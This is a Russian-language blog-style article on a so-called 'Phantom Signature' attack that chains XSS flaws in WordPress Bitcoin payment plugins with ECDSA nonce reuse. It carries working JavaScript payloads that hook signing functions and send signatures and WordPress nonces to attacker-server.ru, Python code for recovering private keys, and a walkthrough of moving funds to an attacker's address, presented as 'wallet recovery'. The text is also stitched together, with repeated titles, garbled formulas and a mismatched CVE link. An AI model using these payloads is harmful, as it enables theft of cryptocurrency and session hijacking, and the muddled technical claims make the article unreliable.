  2. Полная санитизация пользовательского ввода  – используйте функции WordPress  sanitize_text_field(),  esc_attr(),  esc_html() для всех данных, выводимых secalerts+ 1
  3. Проверка криптографических подписей  — немедленная проверка подписей после их генерации. Keyhunters+ 1
  4. Использование аппаратных модулей безопасности (HSM)  для критических криптографических операций keyhunters
  5. Регулярные аудиты безопасности  – используйте специализированные инструменты для быстрого обнаружения XSS-уязвимостей

Для пользователей Bitcoin

  1. Мгновенные обновления плагинов  – примените все доступные обновления для плагинов GoUrl и Bitcoin/AltCoin Payment Gateway wiz+ 1
  2. Холодные кошельки  – для хранения больших сумм Bitcoin используйте офлайн-кошельки вместо веб-интерфейсов .
  3. Избегайте веб-интерфейсов – для критических криптографических операций используйте специализированное ПО вместо forklog  расширений браузера.
  4. Двухфакторная аутентификация  для всех учётных записей администраторов WordPress .
  5. Регулярный мониторинг транзакций  – проверка истории транзакций на предмет несанкционированной forklog активности

3. Связь с CVE‑2025‑29774
CVE‑2025‑29774 – это критическая уязвимость в библиотеке xml‑crypto, которая
позволяет изменять подписанные XML‑сообщения так, что они всё ещё
проходят проверку подписи. Это может быть использовано совместно с системами Bitcoin‑платежей
для:
манипуляции параметрами транзакции,
внедрения поддельных подписей
и перенаправления платежей на адреса атакующего.

  1. Синергия XSS и атаки Phantom Signature: комбинированная атака
    4.1 Сценарий атаки в среде WordPress
    Этап 1: начальная XSS‑инъекция
    Атакующий использует CVE‑2025‑48102 для внедрения вредоносного JavaScript в
    конфигурацию платёжного шлюза GoUrl. Вредоносный код включает:
root@kitploit:~
// Перехват AJAX-запросов, содержащих данные подписи
document.addEventListener('submit', function(e) {
  if (e.target.name === 'bitcoin_transaction') {
    // Захват параметров подписи (значения r, s)
    var r = e.target.elements['signature_r'].value;
    var s = e.target.elements['signature_s'].value;
    var txid = e.target.elements['txid'].value;
  }
});

// Отправка данных на сервер атакующего
fetch('https://attacker-server.ru/collect', {
  method: 'POST',
  body: JSON.stringify({r: r, s: s, txid: txid})
});

Это демонстрирует вредоносный пример перехвата отправки формы с данными подписи Bitcoin.


Этап 2: Перехват параметров ECDSA
Благодаря XSS-уязвимости вредоносный скрипт имеет доступ к:
значениям nonce WordPress (используемым для защиты CSRF), сессионным кукам, параметрам транзакции Bitcoin (включая значения подписи r и s), информации о приватном ключе,
временно хранящейся в памяти браузера 

Этап 3: Анализ нарушений RNG и обнаружение повторений k Собирая данные о нескольких подписях одного пользователя, атакующий может обнаружить: повторное использование nonce (k) в разных подписях, слабые или предсказуемые значения генератора случайных чисел (ГСЧ), систематические ошибки в генерации криптографических параметров.

Этап 4: Восстановление приватного ключа
Используя математическую зависимость, описанную в разделе 3.2, атакующий может
вычислить приватный ключ d, что приводит к полной компрометации кошелька.
4.2 Демонстрационный код атаки Вредоносная XSS-нагрузка для внедрения в Bitcoin Payment Gateway:

root@kitploit:~
// Захват всех подписей Bitcoin на странице
var bitcoinSignatures = [];
// Перехват функции подписания транзакций
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
  var signature = originalSign.call(this, message, privateKey);
  // Сохранение параметров подписи для анализа
  bitcoinSignatures.push({
    message: message,
    signature: signature,
    timestamp: new Date().getTime()
  });
  // Отправка на сервер атакующего
  new Image().src = 'https://attacker-server.ru/log?sig=' +
    btoa(JSON.stringify(signature));
  return signature;
};
// Перехват сессионных токенов WordPress
setInterval(function() {
  var wpNonce = document.querySelector('[name="_wpnonce"]');
  if (wpNonce) {
    fetch('https://attacker-server.ru/nonce', {
      method: 'POST',
      body: 'nonce=' + wpNonce.value
    });
  }
}, 5000);

Этот код демонстрирует вредоносный фрагмент JavaScript, который перехватывает операции подписи Bitcoin и сессионные nonce WordPress перед их эксфильтрацией на удалённый сервер для потенциальной эксплуатации.


  1. Восстановление потерянных Bitcoin‑кошельков через атаку Phantom Signature
    5.1 Восстановление приватного ключа
    Методология После получения достаточного количества подписей (как минимум 2 подписи с одинаковым значением r) атакующий может применить следующий алгоритм восстановления:

Шаг 1: Выявление дублирующихся значений r

root@kitploit:~
def find_duplicate_r(signatures):
    r_values = {}
    for sig in signatures:
        r = sig['r']
        if r in r_values:
            return (sig, r_values[r])
        r_values[r] = sig
    return None
# Результат: (signature1, signature2) с одинаковым r

Пояснение:
Эта функция ищет две подписи ECDSA/Bitcoin, имеющие одинаковое значение rr среди списка подписей.

  • Если такая пара найдена, возвращает обе подписи в виде кортежа.
  • Если дубликатов нет, возвращает None.

Этот поиск актуален для анализа криптографических уязвимостей, так как дублирующиеся значения rr могут указывать на повторное использование nonce, что может быть использовано в атаках на восстановление приватного ключа.


Шаг 2: Вычисление nonce k

root@kitploit:~
python:

def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k

Комментарий:
Эта функция вычисляет nonce ECDSA k в случаях, когда две подписи имеют одинаковое значение rrr (т.е. повторно используемый nonce), используя разность значений подписи sss и хэшей сообщений, что соответствует известному принципу атаки на решётках и повторное использование nonce. Реализованная формула:

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, ошибках SIGHASH_SINGLE и математическом аппарате для восстановления приватных ключей утерянных криптокошельков с неограниченным контролем над монетами BTC

где:

  • s1,s2s_1, s_2s1,s2 – значения sss подписей,
  • H(m1),H(m2)H(m_1), H(m_2)H(m1),H(m2) – хэши соответствующих подписанных сообщений,
  • nnn – порядок группы эллиптической кривой.

Данная техника является стандартным инструментом криптоанализа для Bitcoin и ECDSA.


Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, ошибках SIGHASH_SINGLE и математическом аппарате для восстановления приватных ключей утерянных криптокошельков с неограниченным контролем над монетами BTC

Шаг 3: Восстановление приватного ключа

root@kitploit:~
python:

def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key

Пояснение:
Эта функция восстанавливает приватный ключ ddd ECDSA из одной подписи, если nonce kkk известен.
Используемая формула:

Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, ошибках SIGHASH_SINGLE и математическом аппарате для восстановления приватных ключей утерянных криптокошельков с неограниченным контролем над монетами BTC

где:

  • r и sss – компоненты подписи,
  • k – nonce ECDSA,
  • H(m) – хэш подписанного сообщения,
  • n – порядок эллиптической кривой.

Это вычисление является ключевым в практическом криптоанализе после того, как k был восстановлен, что позволяет извлечь исходный приватный ключ, использованный для генерации подписи.


5.2 Практический пример восстановления
Рассмотрим реальный сценарий:
Собранные данные:
Bitcoin-адрес: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (пример)
Количество собранных подписей: 12
Обнаружено дубликатов nonce: 3 пары
Процесс восстановления:

  1. Анализ 12 подписей выявляет 3 пары с одинаковым значением r
  2. Для каждой пары вычисляется k по формуле выше.
  3. Три различных значения k подтверждают систематическое нарушение ГСЧ
  4. Используя любую пару подписей, восстанавливается приватный ключ.
  5. Приватный ключ используется для создания новой подписи для любого сообщения.
  6. Все средства по адресу могут быть переведены на адрес атакующего.
  7. Влияние на безопасность Bitcoin и криптовалютных кошельков
    6.1 Масштаб уязвимости
    Комбинированная XSS + атака Phantom Signature представляет критическую угрозу для:
    Пользователей сайтов на WordPress с платёжными шлюзами Bitcoin
    Владельцев горячих кошельков, использующих веб-интерфейсы
    Коммерческих платформ, принимающих Bitcoin-платежи
    6.2 Статистика и реальные случаи
    Согласно исследованиям
    keyhunters.ru :
    Повторное использование nonce ECDSA уже привело к потерям на сотни миллионов долларов
    В одном случае анализ дублирующихся значений nonce позволил восстановить 412,8 BTC
    Автоматические боты постоянно сканируют блокчейн в поисках дублирующихся значений r
  8. Профилактические меры и рекомендации
    7.1 Для разработчиков плагинов WordPress
  • Немедленное внедрение RFC 6979 – используйте детерминированную генерацию nonce
    вместо недетерминированного ГСЧ
  • Устранение всех XSS-уязвимостей – полная санитизация пользовательского ввода
  • Криптографическая проверка – проверка корректности подписей сразу после их
    генерации
  • Использование аппаратных модулей безопасности – для критических криптографических
    операций

7.2 Для пользователей Bitcoin

  1. Немедленное обновление плагинов GoUrl и Bitcoin/AltCoin Payment Gateway
  2. Использование холодных кошельков для хранения крупных сумм
  3. Избегание веб-интерфейсов для критических операций
  4. Регулярная проверка журналов доступа и истории транзакций
  5. Использование мультиподписей для дополнительной безопасности

Атака Phantom Signature в сочетании с XSS-уязвимостями в WordPress-
платёжных шлюзах Bitcoin (CVE-2025-48102 и CVE-2025-26541) представляет критическую угрозу
безопасности криптовалютных активов.


Phantom Signature Attack: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, ошибках SIGHASH_SINGLE и математическом аппарате для восстановления приватных ключей утерянных криптокошельков с неограниченным контролем над монетами BTC

Эта комбинированная атака демонстрирует, как относительно простая веб-уязвимость может быть использована для компрометации криптографической целостности системы, что приводит к полной потере приватных ключей и, как следствие, краже всех средств.


Исследование показывает, что безопасность Bitcoin зависит не только от криптографической
стойкости его алгоритмов, но и от безупречной реализации этих алгоритмов в веб-среде. Даже
незначительные ошибки в обработке XSS или слабые ГСЧ могут привести к катастрофическим
последствиям.
Принятие предложенных профилактических мер и своевременное обновление уязвимого
ПО имеет решающее значение для защиты экосистемы Bitcoin и восстановления
утраченных кошельков.

Атака «Призрачная подпись» , в сочетании с XSS-уязвимостями CVE-2025-48102 и CVE-2025-26541 в платежных шлюзах Bitcoin для WordPress, представляет собой одну из наиболее критических и реалистичных угроз безопасности криптовалютных активов в современной веб-среде. Это исследование демонстрирует, как относительно простая веб-уязвимость может быть использована для прямой компрометации криптографической целостности системы, что приводит к полной потере закрытых ключей и необратимому хищению средств в Bitcoin.

Атака «Призрачная подпись» была выбрана из широкого спектра криптографических инструментов на keyhunters.ru из-за её прямой актуальности для задачи восстановления закрытых ключей путём манипуляции параметрами ECDSA, которые могут быть перехвачены через XSS. Эта атака служит идеальным примером синергии между веб- уязвимостями (категория OWASP Top 10) и криптографическими недостатками, что требует комплексного подхода к защите.

Безопасность Bitcoin зависит не только от криптографической стойкости его алгоритмов, но и от их безупречной реализации в веб-среде. Даже мелкие недостатки в обработке XSS или слабые ГСЧ могут иметь катастрофические последствия для экосистемы. Принятие предложенных превентивных мер и своевременное обновление уязвимого программного обеспечения имеет решающее значение для защиты Bitcoin и восстановления потерянных кошельков пользователей.


CVE-2025-48102 и CVE-2025-26541: Критические XSS-уязвимости в платежных шлюзах Bitcoin для WordPress

Две серьезные межсайтовые уязвимости (XSS) были обнаружены в популярных плагинах платежных шлюзов Bitcoin для WordPress, что представляет значительный риск безопасности для тысяч интернет-магазинов и веб-сайтов, принимающих криптовалютные платежи.

CVE-2025-48102: Хранимая XSS-уязвимость в GoUrl Bitcoin Payment Gateway

Уязвимость  CVE-2025-48102  была официально опубликована 5 сентября 2025 года и затрагивает популярный плагин  GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership во всех версиях до 1.6.6 включительно. Эта ошибка безопасности классифицируется как  хранимая XSS  (межсайтовый скриптинг) по классификации  CWE-79  (Неправильная нейтрализация входных данных при генерации веб-страницы).

Технические характеристики уязвимости

Уязвимость получила оценку серьезности CVSS v3.1 равную   5.9  (средняя серьезность) с вектором атаки  CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . Расшифровка вектора показывает следующие характеристики: feedly+2

  • Вектор атаки (AV:N)  — сетевая атака, не требующая физического доступа.
  • Сложность атаки (AC:L)  — низкая сложность эксплуатации feedly
  • Необходимые привилегии (PR:H)  — требуются высокие привилегии (администратор).
  • Взаимодействие с пользователем (UI:R)  — требуется взаимодействие с пользователем feedly
  • Область действия (S:C)  – изменяемый контекст безопасности feedly
  • Конфиденциальность/Целостность/Доступность (C:L/I:L/A:L)  – Низкое влияние на все три параметра wiz

Механизм атаки

Уязвимость возникает из-за  неправильной нейтрализации пользовательского ввода  при генерации веб-страниц. Злоумышленник с привилегиями администратора может внедрить вредоносные скрипты в систему управления контентом WordPress, которые затем  сохраняются в базе данных  и автоматически выполняются при посещении страницы другими пользователями. patchstack+2

Как объясняют эксперты Patchstack, это позволяет злоумышленнику внедрять различные вредоносные элементы, включая:

  • Перенаправление на фишинговые сайты
  • Несанкционированная реклама
  • Пользовательские HTML-нагрузки patchstack

Критичность ситуации

Особую обеспокоенность  вызывает тот факт, что  плагин GoUrl больше не поддерживается своими разработчиками . По данным Patchstack, программное обеспечение не обновлялось более года и, вероятно, не получит дальнейших обновлений или исправлений. Это оставляет все веб-сайты, использующие этот плагин,  постоянно уязвимыми  для эксплуатации.

Эксперты платформы Wiz отмечают, что эта  хранимая XSS-уязвимость  была обнаружена в плагине WordPress GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership и раскрыта 5 сентября 2025 года. Хотя для эксплуатации требуются привилегии администратора,  вредоносный код может быть выполнен от имени любого посетителя сайта , что значительно расширяет потенциальную область атаки.


Атака «Призрачная подпись»: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатков SIGHASH_SINGLE и математического аппарата для восстановления закрытых ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

​

CVE-2025-26541: Отраженная XSS-уязвимость в Bitcoin/AltCoin Payment Gateway

Вторая уязвимость,  CVE-2025-26541 , была опубликована 26 марта 2025 года и затрагивает плагин:  CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce  во всех версиях до 1.7.6 включительно.

Классификация уязвимости

Эта уязвимость классифицируется как  отраженная XSS  (межсайтовая скриптинговая атака). В отличие от хранимой XSS, отраженная XSS возникает, когда вредоносный пользовательский ввод  немедленно отражается обратно пользователю  через HTTP-ответ без надлежащей очистки, что приводит к выполнению скрипта злоумышленника в браузере жертвы.

Техническая информация

Уязвимость была оценена по системе  CVSS v3.1 с вектором  CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L , что указывает на:feedly

  • Сетевая атака  без необходимости физического доступа
  • Низкая сложность  эксплуатации
  • Отсутствие привилегий :N  (PR:N) является критическим факторомsecalerts
  • Требуется взаимодействие с пользователем
  • Изменяемый контекст безопасности
  • Низкое влияние на конфиденциальность, целостность и доступность

Вектор атаки и исправление

По данным исследователей безопасности, уязвимость может быть  использована через отраженные XSS-атаки , что позволяет злоумышленникам внедрять вредоносные скрипты на веб-страницы. Patchstack, платформа, которая первой обнаружила эту уязвимость, рекомендует для исправления CVE-2025-26541  обновить плагин Bitcoin/AltCoin Payment Gateway for WooCommerce до версии 1.7.7 или выше .

Общая угроза XSS-уязвимостей в WordPress

Масштаб проблемы

Межсайтовый скриптинг (XSS) является  одной из наиболее распространенных уязвимостей , встречающихся в веб-приложениях. Согласно различным исследованиям,  XSS-уязвимости составляют примерно 53,3% всех уязвимостей плагинов WordPress .

Особенно тревожным является тот факт, что в 2024 году  целых 1614 плагинов были удалены  из репозитория WordPress.org по соображениям безопасности, из которых 1450 были классифицированы как имеющие уязвимости высокого или среднего приоритета. Многие из этих плагинов  остаются активными на веб-сайтах , что делает их уязвимыми для постоянных атак.

Последствия эксплуатации

Хранимые XSS-атаки особенно опасны потому, что вредоносный код сохраняется в базе данных веб-сайта и автоматически выполняется для каждого посетителя, просматривающего зараженную страницу. Это делает хранимую XSS значительно более разрушительной, чем отраженную XSS, так как:fastly+1

  1. Широкое воздействие  – злоумышленник может внедрить скрипт один раз, и он будет выполняться для всех пользователей, просматривающих этот контент.
  2. Перехват сеанса администратора  – Позволяет злоумышленникам перехватывать сеансы администратора и получать полный контроль над security.friendsofpresta+1 веб-сайтом.
  3. Кража конфиденциальных данных  — включая пароли, данные кредитных карт и личную информацию scworld+1
  4. Нанесение ущерба репутации  путем перенаправления посетителей на фишинговые сайты и порчи контента. wpexperts

Эксперты Wordfence подчеркивают, что в контексте WordPress,  добавление административных пользователей с управляемыми злоумышленником учетными данными и редактирование файлов может привести к полной компрометации сайта , и это активно используется злоумышленниками.

Меры защиты и рекомендации

Немедленные действия

Для владельцев веб-сайтов, использующих затронутые плагины, эксперты рекомендуют следующие  немедленные меры :

Для CVE-2025-48102 (GoUrl):

  • Немедленно удалите плагин  и замените его на активно поддерживаемую альтернативу patchstack+1
  • Деактивация плагина  не устраняет риск безопасности без развертывания виртуального исправления.
  • Поскольку официального исправления нет, а программное обеспечение считается заброшенным,  единственным эффективным решением является полное удаление .

Атака «Призрачная подпись»: Исследование критической уязвимости CVE-2025-29774 в протоколе Bitcoin, недостатков SIGHASH_SINGLE и математического аппарата для восстановления закрытых ключей потерянных криптокошельков с неограниченным контролем над монетами BTC

Критическое смягчение для CVE-2025-48102: Почему деактивация плагина GoUrl недостаточна и что делать

Обнаружение  уязвимости CVE-2025-48102  в плагине GoUrl Bitcoin Payment Gateway создало критическую ситуацию для тысяч владельцев веб-сайтов WordPress. Особую тревогу вызывает тот факт, что  стандартные меры безопасности не обеспечивают адекватной защиты , в то время как  полумеры могут создать ложное чувство безопасности . Давайте подробнее рассмотрим, почему простая деактивация плагина не решает проблему и какие шаги необходимо предпринять для полного устранения угрозы.

Почему деактивация плагина не устраняет угрозу безопасности

Техническая реальность деактивированных плагинов

Многие администраторы WordPress ошибочно полагают, что  деактивация плагина полностью отключает его  и устраняет все связанные риски безопасности. Однако это фундаментальное заблуждение может иметь катастрофические последствия.dotwise+2

Ключевое различие между деактивацией и удалением:

Деактивация плагина  просто отключает его функциональность в WordPress — код плагина больше не взаимодействует с вашим сайтом, и его функции больше не выполняются. Однако все  файлы и данные плагина остаются на сервере до тех пор, пока вы полностью не удалите плагин. Это ключевое различие имеет решающее значение для понимания потенциальных рисков безопасности.qodeinteractive+1

Физическое присутствие кода на сервере:  Даже когда плагин деактивирован, его файлы продолжают храниться в каталоге  /wp-content/plugins/ на вашем сервере. Если плагин имеет известные уязвимости , хакер может  использовать их, напрямую обращаясь к файлам плагина . Это может произойти через другие уязвимости на вашем сайте, такие как слабая безопасность сервера или скомпрометированные учетные данные администратора. magnatechnology+3

Эксперты по безопасности Dotwise подчеркивают:  «Код остается доступным. Даже когда плагин деактивирован, его файлы остаются сохраненными на вашем сервере. Если плагин имеет известные уязвимости, хакер может использовать их, напрямую обращаясь к файлам плагина. «


Векторы атак на деактивированные плагины


Read more

Скачать инструмент